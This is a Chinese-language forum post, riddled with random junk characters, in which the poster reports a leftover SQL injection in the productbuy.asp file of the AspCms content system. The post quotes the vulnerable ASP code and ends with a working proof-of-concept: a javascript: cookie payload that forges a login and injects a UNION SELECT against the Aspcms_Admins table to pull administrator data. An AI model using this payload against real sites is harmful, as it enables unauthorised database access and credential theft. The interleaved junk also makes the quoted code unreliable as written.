好久没上土司了,上来一看发现在删号名单内.....) `: M1 o# N/ J/ Y( ?9 t1 y
也没啥好发的,前些天路过某个小站,用的AspCms这个系统,搜索了下,productbuy.asp这个文件存在注射,但是目标已经修补....下载了代码,很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞,但是就在同一个文件下面找到了注射漏洞。。。。。。。
5 x# M. M0 Q8 H' v7 z! P' p) I$ ?废话不多说,看代码: E: X+ H/ i* {/ z
* I" @3 ~% x6 O) _) D<%
( [. m0 g, y) d9 D1 g$ E
8 C5 ~1 v2 J1 Y3 q, K/ Jif action = "buy" then
5 L# v- v# z0 e' @' p1 \4 B$ p0 Z2 l* \! q9 H$ s
addOrder(): ]" o% U* ^" T# T
& {' b$ g, a7 Z0 q, v
else
; a& _" N5 o2 ]6 D6 n, B9 _/ }: p' b3 u! ~8 Q, [$ v
echoContent()
2 N6 V" J [8 [! N5 p b
1 }/ N/ p" V/ ?8 M9 m$ ]' h3 h. ^end if, K) @+ |. { c2 b+ I, }. L
& d; i. \$ v8 o- G4 r: v+ X4 b9 T, y' ]2 u/ I# V& C- `3 p
( f8 J& b& h9 q }9 m1 u
……略过8 C/ i+ Z2 K2 R5 P! A' @
. I. ~1 _, n }/ K0 s' N( t3 \; V% p5 u! s ?& t
; U+ p* E5 b/ TSub echoContent(): W9 M& o2 [5 I" j; A
1 a" @& ~$ @1 @; O
dim id. o; L a, z: h- S1 |
( f/ i5 l+ [8 ]8 x
id=getForm("id","get"). c# q8 u: R0 M* ?+ o
' w2 \( j# v7 g& x7 k1 l % D7 J7 ?/ o+ b4 s, f+ k# O
6 i! }6 _- c' m. ?% ?" U if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品!","-1" 1 ?( [; y# G) ^
( d+ y( u& v$ i! a
& B) Q6 O+ {) l+ w1 s `: k7 p8 \ n8 P
dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template"): v3 S: M. c# P' S
& F$ b* K4 R3 o" G4 g
dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
# t1 }3 e1 v( R, l6 r* M: ]$ L) t V5 |6 P' u' N/ n
Dim templatePath,tempStr( O; G, r* l! [
- L1 \. `6 L7 F3 H3 a# h
templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"
2 ?9 q$ V/ r, [( s4 c! u3 @
2 \, A* ^3 @- O
# J: W- Q( K: C% P P: l& ^3 @2 v0 h# w; F. W S
set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")$ ]$ m( j# c- L
; c: ]. C! _" J
selectproduct=rsObj(0)
' i4 K$ ~" }& r- R4 O
: j3 ]# o1 T" B' Z6 V; H: Q ; E- Y/ ] j# J9 r& l
8 P, s& J- g- _
Dim linkman,gender,phone,mobile,email,qq,address,postcode
4 C* @% E/ I- I3 m! A- w2 K: ]& B' q
$ w/ k" N! M3 O+ D* u if isnul(rCookie("loginstatus")) then wCookie"loginstatus",0
3 J# L9 G; j! d: p i! m
# Q$ R0 J$ _( @- m0 n if rCookie("loginstatus")=1 then
- [9 u2 K/ b6 [0 A) z* t) y1 g' N+ Q2 C& g
set rsObj=conn.Exec("select * from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
: Y/ I' {( L* h, I
/ S. C" [4 S, k3 }, v! Y4 @ linkman=rsObj("truename")
: ~9 p0 t/ s3 n
& T( `; @2 I( R* I; d1 o gender=rsObj("gender")
/ f: K0 Q2 G" `, Y4 z) }
# J, I/ @( p- Y# D& R8 z phone=rsObj("phone")! O6 e# x* {) c# l5 K
7 P% h1 {0 {: | mobile=rsObj("mobile")
5 O2 {# R! ?& g) H4 {
! U: p/ a m+ k* A! ` email=rsObj("email")
# z' z v, }( a2 u% i
7 t/ o$ l+ L Q# F! H1 { qq=rsObj("qq")9 }! \ v" D& `$ o4 I1 u2 f
+ ]( l S a# Z6 E( Z: v address=rsObj("address")
" m) z1 _" t0 ?' }* a$ T4 G8 g# N7 S. n4 N7 N
postcode=rsObj("postcode")
/ \% C9 b2 v9 Y/ [1 i2 k% R( U1 a$ Q5 v9 \( {$ F* w6 m! w
else
: N$ N# _$ P3 W; }3 S* P. M- k# ?. [+ h0 P6 U
gender=1
$ G, Q& G4 E; k# ?9 |! {) o" J8 F( D j) ?! t! w% c- }
end if
+ ~/ k+ o s/ e* V( Z1 n8 ~2 c$ o1 N1 j6 F
rsObj.close()
, z6 g" C q, b2 ~) P J- _! y. k8 v! T+ f
4 e' o* u3 ?7 R/ K
& V3 n" j$ o7 @( k3 N6 [- m with templateObj
0 o! ~0 M7 V3 ~& A3 f& g0 Z: y+ X* O
+ u- K8 y0 O6 ? .content=loadFile(templatePath)
/ E& X: l( F8 v" |# J. t" f# k7 _0 J$ x0 [2 K m2 o! R
.parseHtml()
6 g5 y( s. b. ?0 @
/ f# {+ |4 ?: ] .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)
2 W! { x2 x2 X0 d% d8 a
) M9 _3 D9 |( u$ l' C1 w" ] .content=replaceStr(.content,"[aspcms:linkman]",linkman)
+ G' w+ Q4 Z6 ~4 O8 C0 L; n( C( [# s: F8 f) f$ S7 \
.content=replaceStr(.content,"[aspcms:gender]",gender)
# g+ Z; |) e/ A. D. E9 l* @, I+ i
: E. ~1 ]! e* [/ K1 ~1 n .content=replaceStr(.content,"[aspcms:phone]",phone) & K6 E: G* ^' Q4 A8 n3 X4 h7 y
& P) q$ X/ m& U, p" h7 [) v; J" T) o8 s .content=replaceStr(.content,"[aspcms:mobile]",mobile) - e# T2 W" y6 e* R
7 S8 x3 `, ]6 r .content=replaceStr(.content,"[aspcms:email]",email) 5 b8 i5 @5 p$ n- i* b6 J& P# d; w
( E3 D. P% K! i; E .content=replaceStr(.content,"[aspcms:qq]",qq) ! s4 `5 `; W2 V& c+ i4 t
' x* [- I) s! ~8 {* ]- T/ d7 h
.content=replaceStr(.content,"[aspcms:address]",address)
, }! B3 G/ [) S! s M9 l
g, L0 F6 g* s8 r .content=replaceStr(.content,"[aspcms:postcode]",postcode)
5 U$ q& F1 f# Z, l& f
, [2 o" t' N* O1 K0 |% h .parseCommon()
8 @& l9 B g7 E5 T
% _! `) X8 C3 H, J0 w8 C echo .content * B X1 a3 m1 I0 l/ B9 i9 F2 }* B
2 Y) n2 c+ q( s t/ ^$ n end with
! j2 M. G( O( f8 N+ a
& @( v/ l2 W. M. Y set templateobj =nothing : terminateAllObjects, Z8 M6 t- O) H. ?
9 m3 e8 ^" L$ K' dEnd Sub
6 T n6 }6 s7 L& R漏洞很明显,没啥好说的 S6 a1 z% i: J% A" W/ b
poc:
5 A( R( @0 S1 u: `- A, t! T8 J8 p
0 K8 h; b! E1 u R0 Ejavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外,脚本板块没权限发帖子
% g1 M h7 C8 \! w$ B0 l0 V+ _ R5 a0 w
|